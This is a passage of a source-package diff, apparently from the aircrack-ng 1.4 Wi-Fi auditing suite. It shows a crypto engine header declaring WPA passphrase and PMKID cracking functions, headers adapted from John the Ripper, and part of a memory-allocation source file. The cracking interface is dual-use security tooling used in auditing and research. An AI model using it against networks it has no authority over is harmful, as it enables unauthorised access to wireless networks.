+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, crypt1)
+					 % CACHELINE_SIZE)
+					== 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, crypt2)
+					 % (CACHELINE_SIZE / 2))
+					== 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, ptk)
+					 % CACHELINE_SIZE)
+					== 0);
+COMPILE_TIME_ASSERT((offsetof(struct ac_crypto_engine_perthread, pke)
+					 % CACHELINE_SIZE)
+					== 0);
+
+struct ac_crypto_engine
+{
+	uint8_t ** essid;
+	uint32_t essid_length;
+
+	struct ac_crypto_engine_perthread * thread_data[MAX_THREADS];
+};
+
+typedef struct ac_crypto_engine ac_crypto_engine_t;
+
+/// The compiled-in features required to correctly execute on host.
+IMPORT int ac_crypto_engine_supported_features(void);
+
+/// global init. this could initialize threadid 1, but...
+IMPORT int ac_crypto_engine_init(ac_crypto_engine_t * engine);
+IMPORT void ac_crypto_engine_destroy(ac_crypto_engine_t * engine);
+
+IMPORT void ac_crypto_engine_set_essid(ac_crypto_engine_t * engine,
+									   const uint8_t * essid);
+
+IMPORT uint8_t *
+ac_crypto_engine_get_pmk(ac_crypto_engine_t * engine, int threadid, int index);
+
+IMPORT uint8_t *
+ac_crypto_engine_get_ptk(ac_crypto_engine_t * engine, int threadid, int index);
+
+IMPORT void ac_crypto_engine_calc_pke(ac_crypto_engine_t * engine,
+									  const uint8_t bssid[6],
+									  const uint8_t stmac[6],
+									  const uint8_t anonce[32],
+									  const uint8_t snonce[32],
+									  int threadid);
+
+IMPORT void ac_crypto_engine_set_pmkid_salt(ac_crypto_engine_t * engine,
+											const uint8_t bssid[6],
+											const uint8_t stmac[6],
+											int threadid);
+
+/// per-thread-in-use init. separate to allow (possible) NUMA-local allocation.
+IMPORT int ac_crypto_engine_thread_init(ac_crypto_engine_t * engine,
+										int threadid);
+IMPORT void ac_crypto_engine_thread_destroy(ac_crypto_engine_t * engine,
+											int threadid);
+
+/// acquire the width of simd we're compiled for.
+IMPORT int ac_crypto_engine_simd_width(void);
+
+IMPORT void ac_crypto_engine_calc_pmk(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	int nparallel,
+	int threadid);
+
+IMPORT void ac_crypto_engine_calc_ptk(ac_crypto_engine_t * engine,
+									  const uint8_t keyver,
+									  int vectorIdx,
+									  int threadid);
+
+IMPORT void ac_crypto_engine_calc_mic(ac_crypto_engine_t * engine,
+									  const uint8_t eapol[256],
+									  uint32_t eapol_size,
+									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
+												 [20],
+									  uint8_t keyver,
+									  int vectorIdx,
+									  int threadid);
+
+IMPORT int ac_crypto_engine_wpa_crack(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	uint8_t keyver,
+	const uint8_t cmpmic[20],
+	int nparallel,
+	int threadid);
+
+IMPORT int ac_crypto_engine_wpa_pmkid_crack(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	int nparallel,
+	int threadid);
+
+// Quick Utilities.
+
+/// Calculate one pairwise master key, from the \a essid and \a key.
+IMPORT void ac_crypto_engine_calc_one_pmk(const uint8_t * key,
+										  const uint8_t * essid,
+										  uint32_t essid_length,
+										  uint8_t pmk[40]);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // AIRCRACK_NG_CRYPTO_ENGINE_H

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/jcommon.h Added

@@ -0,0 +1,121 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-99,2005,2009,2011,2013 by Solar Designer
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * Things common to many ciphertext formats.
+ */
+
+#ifndef _JCOMMON_H
+#define _JCOMMON_H
+
+#include "arch.h"
+#include "memory.h"
+
+#if ARCH_INT_GT_32
+typedef unsigned short ARCH_WORD_32;
+typedef unsigned int ARCH_WORD_64;
+#else
+typedef unsigned int ARCH_WORD_32;
+typedef unsigned long long ARCH_WORD_64;
+#endif
+
+/* ONLY use this to check alignments of even power of 2 (2, 4, 8, 16, etc) byte
+   counts (CNT).
+   The cast to void* MUST be done, due to C spec.
+   http://stackoverflow.com/a/1898487 */
+#define is_aligned(PTR, CNT)                                                   \
+	((((ARCH_WORD)(const void *) (PTR)) & (CNT - 1)) == 0)
+
+#ifdef __GNUC__
+#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 7)                     \
+	|| defined(__INTEL_COMPILER)
+#define MAYBE_INLINE __attribute__((always_inline)) inline
+#elif __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)
+#define MAYBE_INLINE __attribute__((always_inline))
+#else
+#define MAYBE_INLINE __inline__
+#endif
+#elif __STDC_VERSION__ >= 199901L
+#define MAYBE_INLINE inline
+#else
+#define MAYBE_INLINE
+#endif
+
+#if ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 7)) || (__GNUC__ > 2)
+#define CC_CACHE_ALIGN __attribute__((aligned(MEM_ALIGN_CACHE)))
+#else
+#define CC_CACHE_ALIGN /* nothing */
+#endif
+
+/*
+ * This "shift" is the number of bytes that may be inserted between arrays the
+ * size of which would be a multiple of cache line size (some power of two) and
+ * that might be accessed simultaneously.  The purpose of the shift is to avoid
+ * cache bank conflicts with such accesses, actually allowing them to proceed
+ * simultaneously.  This number should be a multiple of the machine's word size
+ * but smaller than cache line size.
+ */
+#define CACHE_BANK_SHIFT ARCH_SIZE
+
+/*
+ * ASCII <-> binary conversion tables.
+ */
+// extern const char itoa64[64]; /* crypt(3) base64 - not MIME Base64! */
+extern char atoi64[0x100];
+extern const char itoa16[16];
+extern char atoi16[0x100];
+extern const char itoa16u[16]; // uppercase
+
+/*
+ * Initializes the tables.
+ */
+extern void common_init(void);
+
+#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/johnswap.h Added

@@ -0,0 +1,137 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ */
+#if !defined __JOHN_SWAP_H__
+#define __JOHN_SWAP_H__
+
+/* reqired for the john_bswap_32 ARCH_WORD_32 declaration */
+#include "jcommon.h"
+
+/* if x86 compatible cpu */
+#if defined(i386) || defined(__i386__) || defined(__i486__)                    \
+	|| defined(__i586__) || defined(__i686__) || defined(__pentium__)          \
+	|| defined(__pentiumpro__) || defined(__pentium4__) || defined(__nocona__) \
+	|| defined(prescott) || defined(__core2__) || defined(__k6__)              \
+	|| defined(__k8__) || defined(__athlon__) || defined(__amd64)              \
+	|| defined(__amd64__) || defined(__x86_64) || defined(__x86_64__)          \
+	|| defined(_M_IX86) || defined(_M_AMD64) || defined(_M_IA64)               \
+	|| defined(_M_X64)
+/* detect if x86-64 instruction set is supported */
+#if defined(_LP64) || defined(__LP64__) || defined(__x86_64)                   \
+	|| defined(__x86_64__) || defined(_M_AMD64) || defined(_M_X64)
+#undef CPU_X64
+#define CPU_X64 1
+#else
+#undef CPU_IA32
+#define CPU_IA32 1
+#endif
+#undef CPU_INTEL_LE
+#define CPU_INTEL_LE 1
+#endif
+
+#if defined __GNUC__                                                           \
+	&& ((__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || (__GNUC__ > 4))
+#define JOHNSWAP(x) __builtin_bswap32((x))
+#define JOHNSWAP64(x) __builtin_bswap64((x))
+#elif defined(__linux__)
+#include <byteswap.h>
+#define JOHNSWAP(x) bswap_32((x))
+#define JOHNSWAP64(x) bswap_64((x))
+#elif (_MSC_VER > 1300)                                                        \
+	&& (_M_IX86 >= 400 || defined(CPU_IA32) || defined(CPU_X64)) /* MS VC */
+#define JOHNSWAP(x) _byteswap_ulong((x))
+#define JOHNSWAP64(x) _byteswap_uint64(((unsigned __int64) x))
+#elif !defined(__STRICT_ANSI__)
+#define JOHNSWAP(x) john_bswap_32((x))
+#define JOHNSWAP64(x) john_bswap_64((x))
+#define ROTATE_LEFT(x, n)                                                      \
+	(x) = (((x) << (n)) | ((ARCH_WORD_32)(x) >> (32 - (n))))
+#define ROTATE_LEFT64(x, n)                                                    \
+	(x) = (((x) << (n)) | ((unsigned long long) (x) >> (64 - (n))))
+#if defined(__GNUC__) && defined(CPU_IA32) && !defined(__i386__)
+/* for intel x86 CPU */
+static inline ARCH_WORD_32 __attribute__((const))
+john_bswap_32(ARCH_WORD_32 val)
+{
+	register ARCH_WORD_32 res;
+	__asm("bswap\t%0" : "=r"(res) : "0"(val));
+	return res;
+}
+#else
+/* Note, the name bswap_32 clashed with a less efficient bswap_32 in gcc 3.4. */
+/* Thus, we now call it john_bswap_32 to take 'ownership' */
+static inline ARCH_WORD_32 john_bswap_32(ARCH_WORD_32 x)
+{
+	/* Since this is an inline function, we do not have to worry about */
+	/* multiple reference of x.  Even though we are called from a macro */
+	/* this inline hides problems even with usage like  n=SWAP(*cp++); */
+	ROTATE_LEFT(x, 16);
+	return ((x & 0x00FF00FF) << 8) | ((x >> 8) & 0x00FF00FF);
+}
+#endif
+static inline unsigned long long john_bswap_64(unsigned long long x)
+{
+#if ARCH_BITS == 32
+	union {
+		unsigned long long ll;
+		ARCH_WORD_32 l[2];
+	} w, r;
+	w.ll = x;
+	r.l[0] = john_bswap_32(w.l[1]);
+	r.l[1] = john_bswap_32(w.l[0]);
+	return r.ll;
+#else
+	// Someone should write a 'proper' 64 bit bswap, for 64 bit arch
+	// for now, I am using the '32 bit' version I wrote above.
+	union {
+		unsigned long long ll;
+		ARCH_WORD_32 l[2];
+	} w, r;
+	w.ll = x;
+	r.l[0] = john_bswap_32(w.l[1]);
+	r.l[1] = john_bswap_32(w.l[0]);
+	return r.ll;
+#endif
+}
+#endif
+
+#endif // __JOHN_SWAP_H__

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/md5.h Added

@@ -0,0 +1,71 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This is an OpenSSL-compatible implementation of the RSA Data Security,
+ * Inc. MD5 Message-Digest Algorithm (RFC 1321).
+ *
+ * Written by Solar Designer <solar at openwall.com> in 2001, and placed
+ * in the public domain.  There's absolutely no warranty.
+ *
+ * See md5.c for more information.
+ *
+ * This file has been modified in the JtR jumbo patch.
+ * If you reuse the code for another purpose, please download the original from:
+ * http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
+ */
+
+#if !defined(_MD5_H)
+#define _MD5_H
+
+/* Any 32-bit or wider unsigned integer data type will do */
+/* this needs to be defined no matter if building with HAVE_LIBSSL or not */
+typedef unsigned int MD5_u32plus;
+
+#include "arch.h"
+#ifdef SIMD_PARA_MD5
+#ifndef USE_GCRYPT
+#include <openssl/md5.h>
+#else
+#include "gcrypt-openssl-wrapper.h"
+#endif
+#endif
+
+#endif /* _MD5_H */

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/memdbg.h Added

@@ -0,0 +1,276 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ *  This header file should be the LAST header file included within every
+ *  .c file within the project.   If there are .h files that have actual
+ *  code in them, then this header should be the last include within that
+ *  .h file, and that .h file should be the last one included within the
+ *  .c file.
+ *  ****** NOTE *****
+ */
+#if !defined(__MEM_DBG_H_)
+#define __MEM_DBG_H_
+
+// values to use within the MemDbg_Validate() function.
+#define MEMDBG_VALIDATE_MIN 0
+#define MEMDBG_VALIDATE_DEEP 1
+#define MEMDBG_VALIDATE_DEEPER 2
+#define MEMDBG_VALIDATE_DEEPEST 3
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#if (!AC_BUILT || HAVE_UNISTD_H) && !_MSC_VER
+#include <unistd.h>
+#endif
+#include <string.h>
+
+#if defined(MEMDBG_ON)
+
+/*
+ * This software was written by Jim Fougeron jfoug AT cox dot net
+ * in 2013. No copyright is claimed, and the software is hereby
+ * placed in the public domain. In case this attempt to disclaim
+ * copyright and place the software in the public domain is deemed
+ * null and void, then the software is Copyright (c) 2013 Jim Fougeron
+ * and it is hereby released to the general public under the following
+ * terms:
+ *
+ * This software may be modified, redistributed, and used for any
+ * purpose, in source and binary forms, with or without modification.
+ */
+
+/*
+ *  memdbg.h
+ *  Memory management debugging (at runtime)
+ *
+ *   memdbg contains routines detect, and report memory
+ *   problems, such as double frees, passing bad pointers to
+ *   free, most buffer overwrites.  Also, tracking of non-freed
+ *   data, showing memory leaks, can also be shown.
+ *
+ *  Compilation Options (provided from Makefile CFLAGS)
+ *
+ *   MEMDBG_ON     If this is NOT defined, then memdbg will
+ *       get out of your way, and most normal memory functions
+ *       will be called with no overhead at all.
+ */
+
+/* these functions can be called by client code. Normally Memdbg_Used() and
+ * MemDbg_Display() would be called at program exit. That will dump a list
+ * of any memory that was not released.  The MemDbg_Validate() can be called
+ * pretty much any time.  That function will walk the memory allocation linked
+ * lists, and sqwack if there are problems, such as overwrites, freed memory
+ * that
+ * has been written to, etc.  It would likely be good to call MemDbg_Validate()
+ * within benchmarking, after every format is tested.
+ *
+ *  TODO:  Add a handle that can be passed to the MemDbg_Used() and
+ * MemDbg_Display()
+ *  and a function to get the 'current' state of memory as a handle.  Thus, a
+ *  format self test could get a handle BEFORE starting, and then check after,
+ * and
+ *  ONLY show leaked memory from the time the handle was obtained, which was at
+ * the
+ *  start of the self test. Thus it would only show leaks from that format test.
+ *
+ *  These functions are NOT thread safe. Do not call them within OMP blocks of
+ * code.
+ *  Normally, these would be called at program exit, or within things like
+ * format
+ *  self test code, etc, and not within OMP.  But this warning is here, so that
+ *  it is known NOT to call within OMP.
+ */
+extern size_t MemDbg_Used(int show_freed);
+extern void MemDbg_Display(FILE *);
+extern void MemDbg_Validate(int level);
+extern void MemDbg_Validate_msg(int level, const char * pMsg);
+extern void MemDbg_Validate_msg2(int level, const char * pMsg, int bShowExData);
+
+/* these functions should almost NEVER be called by any client code. They
+ * are listed here, because the macros need to know their names. Client code
+ * should almost ALWAYS call malloc() like normal, vs calling MEMDBG_alloc()
+ * If MEMDBG_alloc() was called, and MEMDBG_ON was not defined, then this
+ * function would not be declared here, AND at link time, the function would
+ * not be found.
+ * NOTE, these functions should be thread safe in OMP builds (using #pragma omp
+ * atomic)
+ * also note, memory allocation within OMP blocks SHOULD be avoided if possible.
+ * It is
+ * very slow, and the thread safety required makes it even slow. This is not
+ * only talking
+ * about these functions here, BUT malloc/free in general in OMP blocks. AVOID
+ * doing that
+ * at almost all costs, and performance will usually go up.
+ */
+extern void * MEMDBG_alloc(size_t, char *, int);
+extern void * MEMDBG_realloc(const void *, size_t, char *, int);
+extern void MEMDBG_free(const void *, char *, int);
+extern char * MEMDBG_strdup(const char *, char *, int);
+
+#if !defined(__MEMDBG__)
+/* we get here on every file compiled EXCEPT memdbg.c */
+#undef malloc
+#undef realloc
+#undef free
+#undef strdup
+#undef libc_free
+#undef libc_calloc
+#undef libc_malloc
+#define libc_free(a)                                                           \
+	do                                                                         \
+	{                                                                          \
+		if (a) MEMDBG_libc_free(a);                                            \
+		a = 0;                                                                 \
+	} while (0)
+#define libc_malloc(a) MEMDBG_libc_alloc(a)
+#define libc_calloc(a) MEMDBG_libc_calloc(a)
+#define malloc(a) MEMDBG_alloc((a), __FILE__, __LINE__)
+#define calloc(a) MEMDBG_calloc((a), __FILE__, __LINE__)
+#define realloc(a, b) MEMDBG_realloc((a), (b), __FILE__, __LINE__)
+/* this code mimics JtR's FREE_MEM(a) but does it for any MEMDBG_free(a,F,L)
+ * call (a hooked free(a) call) */
+#define free(a)                                                                \
+	do                                                                         \
+	{                                                                          \
+		if (a) MEMDBG_free((a), __FILE__, __LINE__);                           \
+		a = 0;                                                                 \
+	} while (0)
+#define strdup(a) MEMDBG_strdup((a), __FILE__, __LINE__)
+
+#endif
+
+/* pass the file handle to write to (normally stderr) */
+#define MEMDBG_PROGRAM_EXIT_CHECKS(a)                                          \
+	do                                                                         \
+	{                                                                          \
+		if (MemDbg_Used(0) > 0) MemDbg_Display(a);                             \
+		MemDbg_Validate_msg2(MEMDBG_VALIDATE_DEEPEST, "At Program Exit", 1);   \
+	} while (0)
+
+typedef struct MEMDBG_HANDLE_t
+{
+	unsigned id;
+	unsigned alloc_cnt;
+	size_t mem_size;
+} MEMDBG_HANDLE;
+
+/*
+ * these functions allow taking a memory snapshot, calling some code, then
+ * validating that memory
+ * is the same after the code.  This will help catch memory leaks and other such
+ * problems, within
+ * formats and such.  Simply get the snapshot, run self tests (or other), when
+ * it exits, check
+ * the snapshot to make sure nothing leaked.
+ */
+
+/* returning a struct (or passing as params it not super efficient but this is
+ * done so infrequently that this is not an issue. */
+MEMDBG_HANDLE MEMDBG_getSnapshot(int id);
+/* will not exit on leaks.  Does exit, on memory overwrite corruption. */
+void MEMDBG_checkSnapshot(MEMDBG_HANDLE);
+/* same as MEMDBG_checkSnapshot() but if exit_on_any_leaks is true, will also
+ * exit if leaks found. */
+void MEMDBG_checkSnapshot_possible_exit_on_error(MEMDBG_HANDLE,
+												 int exit_on_any_leaks);
+/*
+ * the allocations from mem_alloc_tiny() must call this function to flag the
+ * memory they allocate
+ * so it is not flagged as a leak, by these HANDLE snapshot functions. 'tiny'
+ * memory is expected
+ * to leak, until program exit.  At that time, any that was not freed, will be
+ * shown as leaked.
+ * THIS function is also thread safe. The other checkSnapshot functions are NOT
+ * thread safe.
+ */
+
+void MEMDBG_tag_mem_from_alloc_tiny(void *);
+
+#else
+/* NOTE, we DO keep one special function here.  We make free a little
+ * smarter. this function gets used, even when we do NOT compile with
+ * any memory debugging on. This makes free work more like C++ delete,
+ * in that it is valid to call it on a NULL. Also, it sets the pointer
+ * to NULL, so that we can call free(x) on x multiple times, without
+ * causing a crash. NOTE, the multiple frees SHOULD be caught when
+ * someone builds and runs with MEMDBG_ON. But when it is off, we do
+ * try to protect the program.
+ */
+#undef libc_free
+#undef libc_calloc
+#undef libc_malloc
+#define libc_free(a)                                                           \
+	do                                                                         \
+	{                                                                          \
+		if (a) MEMDBG_libc_free(a);                                            \
+		a = 0;                                                                 \
+	} while (0)
+#define libc_malloc(a) MEMDBG_libc_alloc(a)
+#define libc_calloc(a) MEMDBG_libc_calloc(a)
+
+#if !defined(__MEMDBG__)
+/* this code mimics JtR's FREE_MEM(a) but does it for any normal free(a) call */
+// extern void MEMDBG_off_free(void *a);
+//#define free(a)   do { if(a) MEMDBG_off_free(a); a=0; } while(0)
+#endif
+#define MemDbg_Used(a) 0
+#define MemDbg_Display(a)
+#define MemDbg_Validate(a)
+#define MemDbg_Validate_msg(a, b)
+#define MemDbg_Validate_msg2(a, b, c)
+#define MEMDBG_PROGRAM_EXIT_CHECKS(a)
+#define MEMDBG_tag_mem_from_alloc_tiny(a)
+
+#define MEMDBG_HANDLE int
+#define MEMDBG_getSnapshot(a) 0
+#define MEMDBG_checkSnapshot(a)                                                \
+	if (a) printf(" \b")
+#define MEMDBG_checkSnapshot_possible_exit_on_error(a, b)                      \
+	if (a) printf(" \b")
+
+#endif /* MEMDBG_ON */
+
+extern void MEMDBG_libc_free(void *);
+extern void * MEMDBG_libc_alloc(size_t size);
+extern void * MEMDBG_libc_calloc(size_t size);
+
+#endif /* __MEMDBG_H_ */

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/memory.c Added

@@ -0,0 +1,836 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-98,2010,2012 by Solar Designer
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <ctype.h> /* for isprint() */
+#if HAVE_MEMALIGN && HAVE_MALLOC_H
+#include <malloc.h>
+#endif
+
+#include "arch.h"
+#include "misc.h"
+#include "memory.h"
+#include "jcommon.h"
+#include "johnswap.h"
+#include "memdbg.h"
+
+#if defined(_MSC_VER) && !defined(MEMDBG_ON)
+#define malloc(a) _aligned_malloc(a, 16)
+#define realloc(a, b) _aligned_realloc(a, b, 16)
+#define calloc(a, b) memset(_aligned_malloc(a * b, 16), 0, a * b)
+#define free(a) _aligned_free(a)
+char * strdup_MSVC(const char * str)
+{
+	char * s;
+	s = (char *) mem_alloc_func(strlen(str) + 1);
+	if (s != NULL) strcpy(s, str);
+	return s;
+}
+#endif
+
+unsigned int mem_saving_level = 0;
+
+// Add 'cleanup' methods for the mem_alloc_tiny.  VERY little cost, but
+// allows us to check for mem leaks easier.
+struct rm_list
+{
+	void * mem;
+	struct rm_list * next;
+};
+static struct rm_list * mem_alloc_tiny_memory;
+
+static void add_memory_link(void * v)
+{
+	struct rm_list * p = (struct rm_list *) mem_alloc(sizeof(struct rm_list));
+	p->next = mem_alloc_tiny_memory;
+	p->mem = v;
+	mem_alloc_tiny_memory = p;
+	// mark these as 'tiny' memory, so that memory snapshot checking does not
+	// flag these as leaks.  At program exit, this memory will still get
+	// checked,
+	// but it should be freed, so will still be globally checked for leaks.
+	MEMDBG_tag_mem_from_alloc_tiny(v);
+	MEMDBG_tag_mem_from_alloc_tiny((void *) p);
+}
+// call at program exit.
+void cleanup_tiny_memory(void)
+{
+	struct rm_list *p = mem_alloc_tiny_memory, *p2;
+	for (;;)
+	{
+		if (!p) return;
+		free(p->mem);
+		p2 = p->next;
+		free(p);
+		p = p2;
+	}
+}
+
+void * mem_alloc_func(size_t size
+#if defined(MEMDBG_ON)
+					  ,
+					  char * file,
+					  int line
+#endif
+					  )
+{
+	void * res;
+
+	if (!size) return NULL;
+#if defined(MEMDBG_ON)
+	res = (char *) MEMDBG_alloc(size, file, line);
+#else
+	res = malloc(size);
+#endif
+	if (!res)
+	{
+		fprintf(stderr,
+				"mem_alloc(): %s trying to allocate " Zu " bytes\n",
+				strerror(ENOMEM),
+				size);
+		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
+		perror("mem_alloc");
+	}
+
+	return res;
+}
+
+void * mem_calloc_func(size_t count,
+					   size_t size
+#if defined(MEMDBG_ON)
+					   ,
+					   char * file,
+					   int line
+#endif
+					   )
+{
+	void * res;
+
+	if (!count || !size) return NULL;
+#if defined(MEMDBG_ON)
+	size *= count;
+	res = (char *) MEMDBG_alloc(size, file, line);
+	memset(res, 0, size);
+#else
+	res = calloc(count, size);
+#endif
+	if (!res)
+	{
+		fprintf(stderr,
+				"mem_calloc(): %s trying to allocate " Zu " bytes\n",
+				strerror(ENOMEM),
+				count * size);
